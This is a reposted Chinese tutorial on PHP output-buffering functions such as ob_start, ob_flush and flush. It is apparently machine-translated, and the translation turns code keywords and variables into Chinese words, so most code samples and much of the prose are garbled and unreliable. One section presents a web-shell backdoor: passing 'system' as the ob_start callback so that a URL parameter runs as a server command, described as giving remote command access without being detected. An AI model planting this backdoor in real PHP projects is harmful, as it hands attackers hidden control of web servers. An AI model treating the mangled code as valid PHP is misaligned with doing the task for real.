PHP输出缓冲区控制输出控制系列函数详解

PHP输出缓冲区控制输出控制系列函数详解
总结

以前学习PHP的输入和输出缓冲区,但是博客移动了,原来的文章找不到了,今天看了好文章,转载了。

简介

当谈到输出缓冲区时,首先要说的是缓冲区(缓冲区),并用一个简单的例子来说明他的作用编辑文档时,在保存磁盘之前不写入磁盘,而是将其写入缓冲区。当缓冲区被填充或保存时,数据将被写入磁盘。对于PHP,每一个输出操作(如回声)也被写入PHP缓冲区,数据将在脚本执行后或执行强制输出缓存操作时显示浏览器上。

实际上,对于PHP程序员来说,基本上每个脚本都包含输出缓冲区,但在大多数情况下,我们不需要更改输出缓冲区。

下面的示例简要介绍了一般脚本中输出缓冲区的方式:

复制代码代码如下所示:

echo'apple;

echo'ibm;

echo'microsoft
我们在执行脚本,在第一回波执行脚本,而不是浏览器输出相应的内容,但将输出变成一个缓冲区,当执行完,三回声(即剧本的结束)将包含所有的输出到浏览器缓冲区。当然,这个缓冲区的大小是有限的。它是基于output_buffering选项在php.ini。这将在下面的文章中介绍。本章中描述的输出缓冲区控制是在脚本结束前对缓冲区的内容进行操作。

该示例能较好地反映输出缓冲区控制的应用。

复制代码代码如下所示:

echo'apple ';睡眠(2);

echo'ibm ';睡眠(2);

echo'microsoft;
我们需要等待至少2秒才能看到输出,所以我们能得到实际的显示吗也就是说,当第一个回声完成时,它将输出相应的内容。此时,我们需要使用输出缓冲区控制函数来操纵缓冲区,以及如何首先实现它,并且文章的结尾将被公布。

影响

1,在PHP中,有在发送等功能,session_start头无输出()()()等,setcookie。输出缓冲区控制功能可以在这些功能之前输出,无需报告错误

2。对过程输出的内容,如生成静态缓存文件,并进行gzip压缩输出,这是一个比较常见的功能。

3,捕捉一些输出功能,无法获得,例如phpinfo(),(),var_dump等这些功能会在浏览器上显示操作结果。如果我们想处理这些结果,使用输出缓冲区来控制函数是一种很好的方法,最流行的观点是这些函数没有返回值,并且要获得这些函数的输出数据,则使用输出缓冲控制功能。

4。最后一个应用是介绍中提到的一些数据的实时输出。

在php.ini中相关的配置

看看在php.ini中输出缓冲控制相关的选项,这是三output_buffering,implicit_flush,和output_handler。

1.output_buffering默认关闭的,当它被设置为,输出缓冲区是所有脚本,自动打开,每个脚本自动执行ob_start()而不是再次调用它的函数,也可以设置为一个整数,表示该缓冲区可以存储的最大字节数。我们在下面的1个例子中提到了这个配置项。

2.implicit_flush默认为关闭,并设置为ON时,PHP会自动发送缓冲区的内容后输出。它是冲洗自动执行()在每个输出。当然,有效的输出不仅是一个功能如回声,打印,而且HTML片段。

3.output_handler默认是空。它的价值只能设置为内置函数的名字,并用它来定义函数的所有输出的脚本过程。他使用的是类似于ob_start('function_name),这将是下面介绍的。

在这篇文章中,如果没有特殊说明,对output_buffering,implicit_flush值,和output_handler在php.ini中都是默认值。

输出控制功能详细解决方案

ob_start()

布尔ob_start(回调{ outputcallback {,intchunk_size } } }美元,bool擦除)

这个函数还可以从命名中理解它的含义,即打开输出缓冲区以进行下一个输出缓冲区处理。这个参数的用途是使用参数,第一个参数是传递回调函数。它需要将缓冲区的内容作为参数并返回一个字符串,他会打电话给当缓冲区发送出去,和缓冲区发送等功能ob_flush执行(),或脚本的执行,ob_flush()函数将介绍下面看一个简单的例子了解它的用法:

复制代码代码如下所示:

功能dothing1($ echo_thing){

返回的echo_thing美元#。#;

}
ob_start('dothing1);

echo'apple;

输出结果

#苹果#
从结果的输出可以在#话双方看到的加入,也就是说在缓冲区中的内容输出运行dothing1函数定义时。

看一个更实际的例子,这是使用gzip压缩网页内容并输出,代码如下:

复制代码代码如下所示:

ob_start();

回声str_repeat('apple ',1024);
输出结果:当不使用gzip压缩,输出的内容是5.2kb。

结果:在gzip压缩的情况下,该文件的大小要小得多,和压缩需要时间,所以时间久了。

第二个参数chunk_size是缓冲区的字节长度。如果缓冲区的内容大于这个长度,它将被从缓冲区发送出去。默认值是0。具有代表性的功能将被称为最后的第三个参数,删除,设置为flase。如果执行脚本,则缓冲区将被删除。如果提前删除缓冲区函数,我们将报告错误。

有这么多的用途ob_start(),但有两点需要特别注意:

(1 ob_start)可以重复调用,也就是说有一个数量的缓冲区可以是一个脚本,但记住嵌套他们所有的订单,如果超过一个ob_start定义的第一个参数是回调函数的定义将与嵌套执行序列一致。堆栈缓冲区筑巢,并将详细描述了在ob_get_level功能,简单描述了这里。

2.ob_start()也不明显,但致命的后门的使用,和实现代码如下:

复制代码代码如下所示:

美元=系统的CMD;

ob_start($ CMD);

echo $ _get {'a' };

ob_end_flush();

windows下的输出结果:

14目录30970388480可用字节
如果你了解了以上关于ob_start使用,此代码是不难理解的,ob_start功能的应用程序将缓冲区的输出特性的内容作为函数的参数传递是集,为了实现Web服务器的远程命令的访问,而不被发现

ob_get_contents()

字符串ob_get_contents(void)

此函数用于此时获取缓冲区的内容,下面的示例将能够很好地理解它的用法。

复制代码代码如下所示:

ob_start('doting2);

echo'apple;

$ TMP = ob_get_contents();

file_put_contents('。 / doting2,$ TMP);

ob_end_flush()
ob_get_length()

此函数用于获取缓冲区内容的长度。

ob_get_level()

国际ob_get_level(void)

此函数用于获取缓冲机制的嵌套级别。我们介绍了ob_start()函数时,我们曾经说过,在一个脚本中有多个缓冲区,这个功能是获取当前缓冲区的嵌套层次。

复制代码代码如下所示:

ob_start();

var_dump(ob_get_level());

ob_start();

var_dump(ob_get_level());

ob_end_flush();

ob_end_flush();
跑步后,他们可以清楚地看到他们的筑巢关系。

ob_get_status()

阵列ob_get_status({ bool =假full_status美元})

此函数用于获取当前缓冲区的状态并返回状态信息数组。如果第一个参数为true,它将返回一个详细信息数组。我们将用实例分析数组。

复制代码代码如下所示:

ob_start('ob_gzhandler);

var_export(ob_get_status());

ob_start();

var_export(ob_get_status());

ob_end_flush ob_end_flush()();

运行结果

阵列('level ' = 2,类型= 1,'status ' = 0,'name' = 'ob_gzhandler ','del ' = true)

阵列('level ' = 3,类型= 1,'status ' = 0,'name' = 'default输出处理程序,'del ' = true)
解释uff1a

1.level是嵌套的层次,这是由ob_get_level值相同()

2.type处理缓冲区的类型,0是在系统内部自动处理,1是用户手动处理

3.status是缓冲处理的状态,0是开始,1中,2是在。

4.name是输出处理函数定义,这是名,函数名在ob_start()函数的第一个参数传递

5.del不删除缓冲区操作

ob_flush()

ob_flush虚空(void)

此函数的功能是发送当前缓冲区的内容,并清空缓冲区。我们需要注意这个词是在这里发送的。也就是说,调用这个函数不输出缓冲区内容。它必须随后输出冲洗功能。

同花顺()

空洞刷新(空)

This function is often used to send all the output in front of it to the browser display, and it does not have any impact on the cache.In other words, whether it is output of echo functions, or HTML entities, or run ob_start () sent contents, running flush () will be displayed in browsers.

ob_flush之间的差异()和冲洗()

当未打开缓存时,脚本输出的内容将在服务器端等待输出。立即将等待输出发送给客户机。在打开缓存之后,脚本输出的内容存储在输出缓冲区中,并且没有内容等待输出状态。你将使用同花顺()直接送什么客户,ob_flush()的功能是从原始的输出缓存中提取内容并将其设置为等待输出的状态,而不是直接给客户。然后你需要使用ob_flush()先使用同花顺(),这样客户可以立即得到的脚本的输出。

ob_implicit_flush(无效)

此函数用于打开/关闭绝对画笔模式,即在每次输出后自动执行刷新(),因此不需要再次显示刷新(),从而提高效率

其他相关功能

1.bool ob_end_flush(void)

2.string ob_get_flush(void)

3.void ob_clean(void)

4.bool ob_end_clean(void)

5.string ob_get_clean(void)

某些数据的实时输出

我相信,如果我们阅读上面的内容,我们将对PHP的缓冲控制功能有深刻的理解。现在让我们回到导言中的问题:让脚本2实时地显示内容,而不需要等待4秒显示所有内容。

我们可以根据缓存是否开放,有几个不同的东西,如果你不能在测试过程中收到预期的效果,可以在header(内容类型:文本/ HTML;字符集= UTF-8);str_repeat(插入下面,1024);你也可以尝试一个更大的价值,即使浏览器的一部分这样做。可能没有结果,你可以尝试完整的PHP代码到HTML代码块体。下面的代码是头('content-type:文本/ HTML;字符集= UTF-8);不要遗漏,或浏览器的一部分不见效果。

复制代码代码如下所示:

ob_start(' '); / /我用ob_start('ob_gzhandler)没有影响

头('content-type:文本/ HTML;字符集= UTF-8);

echo'apple #;

ob_flush();冲洗();

睡眠(2);

echo'ibm #;

ob_flush();冲洗();

睡眠(2);

echo'microsoft;

免责声明:本网信息来自于互联网,目的在于传递更多信息,并不代表本网赞同其观点。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,并请自行核实相关内容。本站不承担此类作品侵权行为的直接责任及连带责任。如若本网有任何内容侵犯您的权益,请及时联系我们,本站将会在24小时内处理完毕。
相关文章
返回顶部